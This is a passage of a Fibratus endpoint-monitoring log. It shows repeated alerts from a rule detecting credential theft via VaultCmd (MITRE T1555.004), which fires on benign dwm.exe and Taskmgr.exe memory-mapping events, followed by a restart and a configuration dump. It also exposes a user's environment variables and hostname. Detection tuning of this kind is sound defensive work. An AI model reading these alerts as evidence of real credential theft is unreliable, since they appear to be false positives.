Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:51:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4948262 + Pid: 1556 + Tid: 2384 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:51:17.9845668 +0100 CET + Params: file_key➜ ffff808cbe2fcfd0, offset➜ 0, pid➜ 1556, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e226c20000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.id: TA0006, technique.id: T1555, technique.name: Credentials from Password Stores, tactic.name: Credential Access + + Pid: 1556 + Ppid: 680 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:51:26+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4948264 + Pid: 1556 + Tid: 2384 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:51:17.9845792 +0100 CET + Params: file_key➜ ffff808cc8235e50, offset➜ 0, pid➜ 1556, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e226c60000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555 + + Pid: 1556 + Ppid: 680 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:51:26+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4954727 + Pid: 2724 + Tid: 20180 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:51:21.9753148 +0100 CET + Params: file_key➜ ffff808cd7b11000, offset➜ 0, pid➜ 2724, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 21a842c0000, view_size➜ 20975616 + Metadata: technique.id: T1555, rule.name: Credential discovery via VaultCmd tool, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access + + Pid: 2724 + Ppid: 18092 + Name: Taskmgr.exe + Cmdline: "C:\WINDOWS\system32\taskmgr.exe" /7 + Exe: C:\WINDOWS\system32\taskmgr.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\taskmgr.exe" /7] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:51:26+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4951954 + Pid: 1556 + Tid: 2384 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:51:20.0072922 +0100 CET + Params: file_key➜ ffff808cbeb30a30, offset➜ 0, pid➜ 1556, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e226400000, view_size➜ 4096 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.id: TA0006, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, technique.id: T1555, rule.name: Credential discovery via VaultCmd tool + + Pid: 1556 + Ppid: 680 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:51:28+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4954734 + Pid: 1556 + Tid: 2384 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:51:21.9931892 +0100 CET + Params: file_key➜ ffff808cbeb30a30, offset➜ 0, pid➜ 1556, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e226400000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, technique.id: T1555, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 1556 + Ppid: 680 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:51:29+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4957990 + Pid: 1556 + Tid: 2384 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:51:24.0162921 +0100 CET + Params: file_key➜ ffff808cbeb30a30, offset➜ 0, pid➜ 1556, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e226400000, view_size➜ 4096 + Metadata: tactic.id: TA0006, tactic.name: Credential Access, technique.id: T1555, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 1556 + Ppid: 680 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:53:56+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T23:53:56+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:53:56+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:54:18+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-03T23:54:18+01:00 level=info msg=bootstrapping with pid 19008. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T23:54:18+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ port=>25 enabled=>false use-template=>true to=>[] content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-fileio=>true stack-enrichment=>true enable-threadpool=>false enable-dns=>false flush-interval=>1s enable-image=>true enable-vamap=>true enable-handle=>false enable-audit-api=>true enable-thread=>true buffer-size=>512 max-buffers=>36 enable-registry=>true min-buffers=>16 enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true formatter=>text level=>info max-size=>100 max-age=>0 max-backups=>15] + output ......................... [ elasticsearch=>[ healthcheck-timeout=>5s trace-log=>false template-name=>fibratus timeout=>5s gzip-compression=>false healthcheck-interval=>10s sniff=>false index-name=>fibratus enabled=>false healthcheck=>true flush-period=>1s bulk-workers=>1 servers=>[http://127.0.0.1:9200]] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false] amqp=>[ delivery-mode=>transient passive=>false timeout=>5s enabled=>false vhost=>/ routing-key=>fibratus exchange-type=>topic tls-insecure-skip-verify=>false exchange=>fibratus url=>amqp://localhost:5672 durable=>false] http=>[ endpoints=>[] enabled=>false tls-insecure-skip-verify=>false method=>POST serializer=>json enable-gzip=>false timeout=>5s]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-registry=>false skip-allocs=>false enabled=>false fastscan=>true skip-mmaps=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] 